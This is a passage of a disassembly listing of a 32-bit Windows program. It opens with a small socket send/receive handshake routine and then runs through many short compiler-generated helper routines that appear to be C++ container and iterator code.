		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E24
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DFC
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E10
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
